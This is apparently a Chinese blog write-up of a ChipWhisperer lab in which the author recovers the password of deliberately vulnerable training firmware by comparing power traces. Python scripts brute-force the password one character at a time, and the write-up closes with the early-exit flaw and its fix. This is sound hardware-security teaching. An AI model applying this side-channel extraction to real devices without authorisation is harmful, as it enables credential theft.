环境配置

硬件设置:

SCOPETYPE: CWLite/CW1200选OPENADC,CWNano选CWNANO

PLATFROM: CWLITEARM/CW308_STM32F3/CWLITEXMEGA/CW308_XMEGA

SS_VER好像没啥差别,直接设置为’SS_VER_2_1’就好

1
2
3
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
SS_VER = 'SS_VER_2_1'

相比实验一,这里用一个脚本直接代替连接Scope和一些基本的setup。

1
%run "../../Setup_Scripts/Setup_Generic.ipynb"33

编译固件

1
2
3
%%bash -s "$PLATFORM" "$SS_VER"
cd ../../../hardware/victims/firmware/basic-passwdcheck
make PLATFORM=$1 CRYPTO_TARGET=NONE SS_VER=$2 -j

把固件写入板子

1
cw.program_target(scope, prog, "../../../hardware/victims/firmware/basic-passwdcheck/basic-passwdcheck-{}.hex".format(PLATFORM))

字符能耗的比较

定义一个函数cap_pass_trace用来来尝试密码并返回功率迹线:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def cap_pass_trace(pass_guess):
reset_target(scope)
num_char = target.in_waiting()
while num_char > 0:
target.read(num_char, 10)
time.sleep(0.01)
num_char = target.in_waiting()

scope.arm()
target.write(pass_guess)
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')

trace = scope.get_last_trace()
return trace

把轨迹线设为3000

1
scope.adc.samples = 3000

cap_pass_trace里的参数就是密码,”h\n”表示密码是一个h

1
2
3
4
5
trace_test = cap_pass_trace("h\n")

#Basic sanity check
assert(len(trace_test) == 3000)
print("✔️ OK to continue!")

以上命令执行完后,发现板子相比之前的实验多了一个红色的灯了,现在是红绿蓝灯都亮了

image-20230524011609333

接下来就是破解密码,首先这里透露说密码是以h开头的,并且长度为5。接下来比较输入’h’和’z’作为密码时的能量消耗波形。

分别获取’h\n’和’z\n’的能量消耗

1
2
trace_h = cap_pass_trace("h\n")
trace_z = cap_pass_trace("z\n")

展示’h\n’的能耗波形:

1
2
3
%matplotlib notebook
import matplotlib.pyplot as plt
plt.plot(trace_h)
image-20230524014826066

对比h和z的能耗图,发现确实有差别,但这个图貌不太好看。。。

1
2
plt.plot(trace_z)
plt.show()
image-20230524015249412

上面的波形图太长了,从上面可以发现是在0~500内有变化,我们把轨迹线设为500,这下变化明显多了!

scope.adc.samples = 500

image-20230524015735367

利用能耗图破解密码

接下来把所有字母都跑一遍,看看它们的能耗波差别。

1
2
3
4
5
6
7
8
9
10
11
12
13
%matplotlib notebook
import matplotlib.pyplot as plt

scope.adc.samples = 500

plt.figure()

LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789'
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")
plt.plot(trace, label=CHARACTER)
plt.legend()
plt.show()
image-20230524020432240

上图颜色重叠很厉害,改成150发现差别明显些了

image-20230524020656224

再改成60,发现很多字母的能耗其实差不多,然而,根据150和60的图发现有条灰色线条最不一样!这条曲线意味着输入了一个正确的密码。根据颜色灰色的是h或者r,结合已知,正确的密码第一个字母就是h,所以这里最不一样的灰色曲线代表的就是字母h!

image-20230524021221911

接下来就是枚举下一个字母了,改下循环里的trace就行

1
trace = cap_pass_trace('h'+CHARACTER + "\n")

哈哈,发现粉色的最不一样,但python画图的这个库不太友好,得肉眼分辨颜色对应的字母

image-20230524023949969

我们改用plotly画图,相比python的画图,它只要鼠标悬浮在某个位置时,就会显示该点对应的曲线信息,这样一来就容易区分是哪个字符了

1
2
3
4
5
6
7
8
9
import plotly.graph_objects as go
import numpy as np
fig = go.Figure()

LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789'
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace('h'+CHARACTER + "\n")
fig.add_trace(go.Scatter(x=np.array(range(trace.shape[0])), y=trace, mode='lines', name=CHARACTER,text=CHARACTER))
fig.show()

可以推断下一个字母为’0’

image-20230524024602795

如果不知道任何密码提示,要自动破解正确密码,一个简单的方法是用0x00,即空密码和其他输入比较。

1
2
3
4
5
6
7
8
9
%matplotlib notebook
import matplotlib.pyplot as plt

plt.figure()
ref_trace = cap_pass_trace("\x00\n")[0:500]
plt.plot(ref_trace)

other_trace = cap_pass_trace("c\n")[0:500]
plt.plot(other_trace)

运行后’c’和0x00几乎重叠了,那么说明c也不是正确密码,所以说要找正确密码就是找和0x00不一样的线条对应的字母

image-20230524025430664

接下来,为了更高效,我们可以枚举所有的字母然后用它们的能量曲线减去0x00的能量曲线,就能很快获得正确密码了!

1
2
3
4
5
6
7
8
9
10
11
12
13
%matplotlib notebook
import matplotlib.pyplot as plt

plt.figure()
scope.adc.samples = 500
LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789'
ref_trace = cap_pass_trace( "\x00\n")

for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")
plt.plot(trace - ref_trace, label=CHARACTER)
plt.legend()
plt.show()

这样一眼就能看出,灰色的线是最不一样的,这样做差之后被暴露得非常明显了

image-20230524031016051

数值差分破解

还有一种表示和观察方法,将能耗波转化为数值,通过numpy的sum和abs来算数值上的差异

1
2
3
4
5
6
7
8
9
10
import numpy as np

ref_trace = cap_pass_trace( "\x00\n")

LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789'
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")
diff = np.sum(np.abs(trace - ref_trace))

print("{:1} diff = {:2}".format(CHARACTER, diff))

输出如下,正确密码拥有最大的差异值,那么h显而易见比其他的差分大得多得多,h就是正确的密码的第一个字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
a diff = 17.154296875
b diff = 9.833984375
c diff = 16.4482421875
d diff = 11.765625
e diff = 11.4013671875
f diff = 15.095703125
g diff = 12.33984375
h diff = 252.572265625
i diff = 9.6181640625
j diff = 16.408203125
k diff = 8.705078125
l diff = 12.8154296875
m diff = 13.9345703125
n diff = 12.439453125
o diff = 9.48046875
p diff = 15.83203125
q diff = 10.2607421875
r diff = 14.9423828125
s diff = 11.76171875
t diff = 10.2802734375
u diff = 9.94140625
v diff = 13.421875
w diff = 11.310546875
x diff = 10.4921875
y diff = 10.4775390625
z diff = 15.0595703125
0 diff = 11.1748046875
1 diff = 14.5146484375
2 diff = 13.677734375
3 diff = 13.3154296875
4 diff = 10.490234375
5 diff = 10.3642578125
6 diff = 9.7861328125
7 diff = 10.240234375
8 diff = 10.2470703125
9 diff = 14.3291015625"

最后,利用差分的方式,每次提取最大值,最后得出正确密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import numpy as np

LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789'
guessed_pwd = ""
for i in range(5):

ref_trace = cap_pass_trace(guessed_pwd + "\x00\n")
m=0
c='\x00'
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(guessed_pwd + CHARACTER + '\x00\n')
diff = np.sum(np.abs(trace - ref_trace))

if diff > 25:

guessed_pwd += CHARACTER
print(guessed_pwd)

break

正确密码为:h0px3

1
2
3
4
5
h
h0
h0p
h0px
h0px3

查看目标板固件中对正确密码处理的源码(在hardware/victims/firmware/basic-passwdcheck目录下的basic-passwdcheck.c文件中)。发现固件对密码错误的处理是直接break跳出循环,这样就会导致相比正确密码能耗的明显差别!而防范这个攻击的方式就是把break注释掉,让循环继续,最后做判断

image-20230524033320168

总结

通过这次实验极大的感受到了硬件安全的魅力所在,从写代码的角度来看,判断密码错误后确实没有必要继续进行判断了,这样能提高效率但也同时留下了非常严重的安全隐患。真的是没有一定安全的系统!!!

Reference

Chipwhisperer-Jupyter